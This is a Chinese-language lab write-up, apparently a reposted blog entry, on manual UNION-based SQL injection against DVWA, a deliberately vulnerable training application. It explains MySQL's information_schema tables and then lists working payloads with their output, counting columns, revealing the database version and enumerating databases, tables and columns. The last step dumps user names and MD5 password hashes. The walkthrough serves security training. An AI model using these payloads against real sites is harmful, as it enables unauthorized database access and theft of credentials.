dvwa sql mysql5 注

来源：互联网发布：mac怎么玩ios手游编辑：程序博客网时间：2024/05/02 00:36

Mysql5内置的系统数据库IFORMATION_SCHEMA,其中记录了Mysql中所有
存在数据库名、数据库表、表字段。

重点要求研究几个对SQL注入有用的数据表说明：

// 英文版的单引号从txt复制到word里面就会变成中文版的。。蛋疼。。注意。

1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称

以下是对 dvwa 。 1. sql注入：

注入记录：

1' order by 2 # 返回正常

1’order by 3 # 返回错误

表示有两个字段

爆数据库版本：

-1' union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #

First name: 1
Surname: root@localhost : dvwa : 5.0.22-community-nt

数据库是mysql5的

爆出数据库

-1' union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,3 #

Limit后面的数字可以变换这里我们从系统数据表中发现有三个数据表

ID: -1' union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,3 #
First name: 1
Surname: dvwa

ID: -1' union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,3 #
First name: 1
Surname: mysql

ID: -1' union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,3 #
First name: 1
Surname: test

获取了数据库dvwa后就可以爆出该数据库的表名:

-1' union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'dvwa' limit 0,2 #

ID: -1' union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'dvwa' limit 0,5 #
First name: 1
Surname: guestbook

ID: -1' union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'dvwa' limit 0,5 #
First name: 1
Surname: users

表明在dvwa 数据库中存在两个表 guestbook users

显然我们需要的是users表

接下来我们爆users表的字段吧：

-1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #

得出数据

：

ID: -1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #
First name: 1
Surname: user_id

ID: -1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #
First name: 1
Surname: first_name

ID: -1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #
First name: 1
Surname: last_name

ID: -1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #
First name: 1
Surname: user

ID: -1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #
First name: 1
Surname: password

ID: -1' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= 'users' limit 0,10 #
First name: 1
Surname: avatar

显然有5个字段我们需要的是 user 和password

接下来我们可以根据字段报数据了

-1' union select user,password from dvwa.users #

ID: -1' union select user,password from dvwa.users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: -1' union select user,password from dvwa.users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: -1' union select user,password from dvwa.users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: -1' union select user,password from dvwa.users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: -1' union select user,password from dvwa.users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

显而易见 admin 5f4dcc3b5aa765d61d8327deb882cf99

结束了。。

0 0